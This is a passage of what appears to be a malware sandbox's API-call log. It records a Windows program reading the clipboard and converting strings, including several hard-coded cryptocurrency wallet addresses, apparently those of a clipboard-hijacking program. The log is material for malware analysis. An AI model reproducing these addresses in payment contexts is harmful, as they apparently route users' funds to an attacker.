lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0046.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0046.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0046.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0046.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0046.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0046.105] Sleep (dwMilliseconds=0x64) [0046.221] GetOpenClipboardWindow () returned 0x0 [0046.221] OpenClipboard (hWndNewOwner=0x0) returned 1 [0046.221] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0046.221] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0046.221] GlobalSize (hMem=0x6069b8) returned 0x42 [0046.221] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0046.221] GlobalUnlock (hMem=0x6069b8) returned 1 [0046.221] CloseClipboard () returned 1 [0046.221] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.221] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.221] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.223] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.223] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.223] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.223] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.223] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.223] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.223] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.223] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.223] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.224] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.224] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.224] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.224] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.224] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.224] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.224] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.224] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.224] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.225] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.225] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0046.225] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0046.225] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, 